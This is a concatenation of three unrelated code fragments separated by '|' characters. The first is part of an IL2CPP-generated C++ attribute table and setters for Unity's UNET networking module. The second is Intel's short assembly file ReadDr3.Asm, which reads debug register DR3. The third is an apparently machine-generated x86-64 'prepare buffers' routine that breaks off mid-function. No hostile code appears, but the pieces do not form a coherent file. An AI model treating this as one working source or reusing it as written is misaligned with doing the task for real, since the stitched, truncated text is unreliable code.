ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_SetSSLPrivateKeyFilePath_m97560CCDF198A876997E44D363018BA65C5929EB,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_SetSSLCAFilePath_mC553B8CCC370BFC28CC8D26437CC6B1F0FD60315,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_MakeChannelsSharedOrder_m386F46D817576653643A908AAAA1AB6DA136707E,
HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator_HostTopologyInternal_InternalDestroy_m71E5CC3F9775FC938F4B1397F87811AEF3FCFECF,
ConnectionSimulatorConfigInternal_tB19B4AE3F50ACB7661DC811F6198E37C08ACDB99_CustomAttributesCacheGenerator_ConnectionSimulatorConfigInternal_InternalDestroy_m7B65F68816CC967FE0EFE2A8C2AE6DC9F81D7EB4,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_InternalDestroy_m82C15BED6D4EB877B4702894F1C07780AFD65B68,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_address_mD2E2A1FACE5451D7191ADAF11F7A7C3DD2BAF475,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_address_m3890A46355BE0177B9434F4EF1016C93E4C66E89,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_port_m927D4247843F4AEB1BD72AB83ED032DA92BDEEB7,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_port_m4F079B17EE7B17FEB5018568E245CD7BE4E8A889,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_domain_mB804D5569C380E91E62A56832EEFCD742953291A,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_domain_mD6A02961C3FCF81C65FF52F9E05AE1C9520C2057,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_networkId_m85F41C6EF913403668CF02D8E2161A97165B4F9F,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_networkId_mF06B1A76AE877FEF8F90091550CBE7C04395249C,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_accessToken_m359FEC01A40E84C1D44D7FE8B2B1A60F5D25A73F,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_nodeId_m8E065595B2BD6F97873189C5697402E44DAC58C9,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_nodeId_m33003F730A881B20E2971B5621FFE1C180F9B852,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_get_usingRelay_m7256FADA60AF340CA978CBFBE1A67944EEC19771,
MatchInfo_tA89C9E5EB4CD5EB334D80B21A7B35B9CE4D32F67_CustomAttributesCacheGenerator_MatchInfo_set_usingRelay_mDB319BCBB310B8BD802ED0DC5514ED75209B092A,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_get_networkId_mF5A80C279C96F9E3DF9DEE15EF30513905FF1D94,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_networkId_m42E6ADF32A3C61014374C3A1ED0D81E4C503399F,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_hostNodeId_m6F821EBAB54B742B9DB89C3A0D6D3F92594BFDCD,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_get_name_m237C7E9A504A0859BCD11E64E0673BA24CC70098,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_name_m1445121C935DCF0ECCC95C99BCD0BCCC48717E6D,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_averageEloScore_mC3282AF93AB1EEC7A000CA6746368022D9A5C753,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_maxSize_m3395A6A69B1FE1011D201373000CC619D48281A7,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_currentSize_m6C711BD86215823980979BA1F641B3A2C4BCAED7,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_isPrivate_m084E967180A94041EB3800784FF06C2772D41FBE,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_matchAttributes_m82974C5D806695B0029F02B2D85F324BA746BB84,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_get_directConnectInfos_m0B9DA5AC8C3BE0B9709195356BDA9F837166095C,
MatchInfoSnapshot_t841127FB8F3D763A9517A8306CEEE4528D83B3A0_CustomAttributesCacheGenerator_MatchInfoSnapshot_set_directConnectInfos_m77C6BD3239DD46327788981E828C5028709BE5ED,
MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_MatchInfoDirectConnectSnapshot_set_nodeId_m6CEC68A411E5CF0BA8F117E2320183B8F2A7A427,
MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_MatchInfoDirectConnectSnapshot_set_publicAddress_mD2BE5562A61C27A943E18910A89C885CDB7A854D,
MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_MatchInfoDirectConnectSnapshot_set_privateAddress_mB53B9DFB3F4E624E65A1A0D63B789F25948A3CDA,
MatchInfoDirectConnectSnapshot_t82741E9963C92FE12F5CB64A40851676E4677F6C_CustomAttributesCacheGenerator_MatchInfoDirectConnectSnapshot_set_hostPriority_m92F2A1B50E815DB131E65362A37E4BBEF0098CF9,
NetworkMatch_t520F80EBC98ADEE375884B456429236E5BBA0F3B_CustomAttributesCacheGenerator_NetworkMatch_SetProgramAppID_mE5B7AEF38F1F9DB067FE6C4087873147B7681713,
U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2__ctor_m47E7BBE4497E0B462F7BF2B38E21BEFBAC7AE094,
U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2_System_IDisposable_Dispose_mFB115A24ABB4ADF3AE76E0EF7ED6592223B050EC,
U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m612A09B7DE8979D327E5ED9DB9E3EE7023449996,
U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2_System_Collections_IEnumerator_Reset_m2E58666AA85EBF338D7A88D4E727B7835731DE25,
U3CProcessMatchResponseU3Ed__26_2_t8F8D00BC759EAB4CF50E491DAE09E30C97D507C2_CustomAttributesCacheGenerator_U3CProcessMatchResponseU3Ed__26_2_System_Collections_IEnumerator_get_Current_m361F83D2648D4A2296BC379AE58A94F977CD5D13,
Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_get_sourceId_m51B4838441451B97A9CD39654905F8497777C230,
Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_get_projectId_m6F11899984870CE38D74843B1F3B1705B9E86ED0,
Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_get_accessTokenString_m6D1262B00D9BD603880CBB45852A695711DA7042,
Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_get_domain_m37B9BBD8B6369C7170CBF3562A46C9094FB3360F,
Request_tA1BC1936C153408449C4C207CA12D4358A7477FD_CustomAttributesCacheGenerator_Request_set_domain_m5D9E2F4FC5FD9612666940E8ADB7C0E6F42354FC,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_name_mDB5F67F45F566D176B840FFAABAF0A5072DB56A0,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_name_mE0B8D4C54AE982080E74B8D40FFAA7529D09A0A8,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_size_mD2818C6FA732FB6DAF315D665C3FF9E097F023EA,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_size_m87F0CE15BF61656B21FFD4A7D7AD000752F90D0F,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_publicAddress_m500540EAFB70C64014B9DD733BCC7726473D006B,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_publicAddress_m8B3FFBDAC322E8818A1A9C97F32A3D7A87FC78E2,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_privateAddress_m2EA118F357CCA5EC32295C777B54469422D94AFA,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_privateAddress_mDD2D5C34B6879086BAB56DD932BE91666BA370D3,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_eloScore_m71DD51B39B031421C1D43029075DD796137A05B7,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_eloScore_m029428732F257F688E21C3D69AF794FEA4E8EFC7,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_advertise_mC6F7A0C2EC590E0A5A5F6C02CB515D2F7FC5E044,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_advertise_m7A979119781F3358FD0166BDE484212579F27FED,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_password_mA3A25AEF3994F75CC2663A003D6B762E53470A90,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_set_password_m1ED11F41F58A9B3C2E87103625D46E4BB497A9AD,
CreateMatchRequest_tDF9DD73552A24160486175BD4D07C2F35CF40A9B_CustomAttributesCacheGenerator_CreateMatchRequest_get_matchAttributes_m5D65A1EAD26A45C236EDA8FEB400B542093C678E,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_networkId_mF41427B1FE3C495530C0C7A366152446613F8B10,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_networkId_mA9CA6065937BD62F39138C9869BE6A5B686EA92C,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_publicAddress_mE052141FB172D009FE1BDB0F7AC52068A5DF3EE2,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_publicAddress_mB837E27EF72F8B9034A5B926F3F969044A9A7093,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_privateAddress_m2DE574B58D8A69C731C815E2C46AB5CC3ADF8D8D,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_privateAddress_mF07E855D339EE71B24EB95110B579262C74A55F1,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_eloScore_mC0238C87F841D7DBD4C06765AD05B8A8A6B2F01E,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_eloScore_mDA8EAC91C261AD2C6D6A45AD9F3C0422EEEAB73E,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_get_password_m0E7A0F73B7DB0E41E613A07195C3A7370C863B90,
JoinMatchRequest_t916D30AEE136554EB2143273A6D931E47C78940A_CustomAttributesCacheGenerator_JoinMatchRequest_set_password_m2096D8C416175CF323600FBD5E1370E83FB8741C,
DestroyMatchRequest_t3AC8FF769CC153C425D7D76492693F00A76B81D0_CustomAttributesCacheGenerator_DestroyMatchRequest_get_networkId_m9A908C64FB1730FC9198940FE08C380E33C43455,
DestroyMatchRequest_t3AC8FF769CC153C425D7D76492693F00A76B81D0_CustomAttributesCacheGenerator_DestroyMatchRequest_set_networkId_mC1C51DCC3A6C729D2EF1EB763F56F38CA72FF68A,
DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_DropConnectionRequest_get_networkId_m58D7BA9439346AD5B49293F499BED9C155C652CF,
DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_DropConnectionRequest_set_networkId_mD980D5276D76AE525984AEC35B6F11A02F30F56C,
DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_DropConnectionRequest_get_nodeId_m7A1E99C6F45D801A6C6D6BC0F3D18AAC6424F6C8,
DropConnectionRequest_t0BADA55738E8857768EE57C92027957659C0E8D1_CustomAttributesCacheGenerator_DropConnectionRequest_set_nodeId_mDC0D89F76443E687896E8C8E6EEDF0FA5C2F7C27,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_pageSize_m0465C7613FBFF54BF422F014F27C26D6CE3AF1E1,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_pageSize_mB474132B156ACAFD88EB07D1A9408E79100B43B9,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_pageNum_mA6E74CFB9E814DB86AE540DB0E7CFD9A9637B10E,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_pageNum_m3716C07B600678E685711BFCD0B0661B0C842034,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_nameFilter_m3C0481F1E6046D75BCE05B1DD331B183F2CB1401,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_nameFilter_mFBBD2943CA68B32FABFACFCA178416CF9AC3BAEA,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_filterOutPrivateMatches_m0827128486C61327991B26DDCE1057BF56395B5A,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_filterOutPrivateMatches_m38C559485A9D47FD1A3C5FBC2454DC58B7A9F754,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_eloScore_m7CC5143EAD11A7CB152C7DD89D2DEE0C1E5F56CB,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_set_eloScore_m80EB463CA251672D86AA00C6FEF024129E1D4C90,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_matchAttributeFilterLessThan_m15EAF64DC665FCDE5A00D6AFF67E97E2250CDA65,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_matchAttributeFilterEqualTo_mCED2ECBE526824ACE9D65845F72CA54DEA42BEC8,
ListMatchRequest_t484AD37D9577C320D444A1E292EA551E3DF33A30_CustomAttributesCacheGenerator_ListMatchRequest_get_matchAttributeFilterGreaterThan_mF2D363A215A57DE53A14E0B82D4BA61D10736FDA,
SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_SetMatchAttributesRequest_get_networkId_m7FCEC07EFF3DB82CFDF40B7D6AEF6C11029BFCE0,
SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_SetMatchAttributesRequest_set_networkId_m9B646C9BA765B12830FCBA07AB25701A7335FE92,
SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_SetMatchAttributesRequest_get_isListed_m4AD05BE1E93CD550D5EFED8AFDC8C3A14F539999,
SetMatchAttributesRequest_t22EC5198C69E086FC5BC8DB4E249E4B90FAFF2E2_CustomAttributesCacheGenerator_SetMatchAttributesRequest_set_isListed_m374284C0BCFAA377F665F9FB8E7871126D2ED7F7,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____FragmentSize_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____ResendTimeout_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____DisconnectTimeout_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____ConnectTimeout_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MinUpdateTimeout_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____PingTimeout_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____ReducedPingTimeout_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____AllCostTimeout_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____NetworkDropThreshold_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____OverflowDropThreshold_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MaxConnectionAttempt_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____AckDelay_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____SendDelay_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MaxCombinedReliableMessageSize_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MaxCombinedReliableMessageCount_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____MaxSentMessageQueueSize_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____AcksType_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____UsePlatformSpecificProtocols_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____InitialBandwidth_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____BandwidthPeakFactor_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____WebSocketReceiveBufferMaxSize_PropertyInfo,
ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078_CustomAttributesCacheGenerator_ConnectionConfigInternal_tA4BD9D163516820771949053DE20639A8A7D8078____UdpSocketReceiveBufferMaxSize_PropertyInfo,
HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator_HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10____ReceivedMessagePoolSize_PropertyInfo,
HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator_HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10____SentMessagePoolSize_PropertyInfo,
HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10_CustomAttributesCacheGenerator_HostTopologyInternal_tA95C0259BC91D8E3D227BAF3D4F7CEE5C5331E10____MessagePoolSizeGrowthFactor_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ThreadAwakeTimeout_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ReactorModel_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ReactorMaximumReceivedMessages_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ReactorMaximumSentMessages_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MaxPacketSize_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MaxHosts_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____ThreadPoolSize_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MinTimerTimeout_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MaxTimerTimeout_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MinNetSimulatorTimeout_PropertyInfo,
GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F_CustomAttributesCacheGenerator_GlobalConfigInternal_t0F07F384FD03D7CE842BC781D7C747B5579F680F____MaxNetSimulatorTimeout_PropertyInfo,
UnityEngine_UNETModule_CustomAttributesCacheGenerator,
};
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void RuntimeCompatibilityAttribute_set_WrapNonExceptionThrows_m8562196F90F3EBCEC23B5708EE0332842883C490_inline (RuntimeCompatibilityAttribute_tFF99AB2963098F9CBCD47A20D9FD3D51C17C1C80 * __this, bool ___value0, const RuntimeMethod* method)
{
{
bool L_0 = ___value0;
__this->set_m_wrapNonExceptionThrows_0(L_0);
return;
}
}
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void NativeMethodAttribute_set_ThrowsException_m9F73529E4F4A3E151DBE4C7E07790B02292D8DBC_inline (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, bool ___value0, const RuntimeMethod* method)
{
{
bool L_0 = ___value0;
__this->set_U3CThrowsExceptionU3Ek__BackingField_3(L_0);
return;
}
}
IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR void NativeMethodAttribute_set_IsThreadSafe_m965EAB84605EABFD2AE9B84FBE7FF311D1116A56_inline (NativeMethodAttribute_t57F61ACA17BEC1260A06658ACD971B0009CC1866 * __this, bool ___value0, const RuntimeMethod* method)
{
{
bool L_0 = ___value0;
__this->set_U3CIsThreadSafeU3Ek__BackingField_1(L_0);
return;
}
}
|
; Copyright (c) 2004, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ReadDr3.Asm
;
; Abstract:
;
; AsmReadDr3 function
;
; Notes:
;
;------------------------------------------------------------------------------
.code
;------------------------------------------------------------------------------
; UINTN
; EFIAPI
; AsmReadDr3 (
; VOID
; );
;------------------------------------------------------------------------------
AsmReadDr3 PROC
mov rax, dr3
ret
AsmReadDr3 ENDP
END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x864c, %rdi
nop
nop
nop
nop
nop
cmp %r11, %r11
vmovups (%rdi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
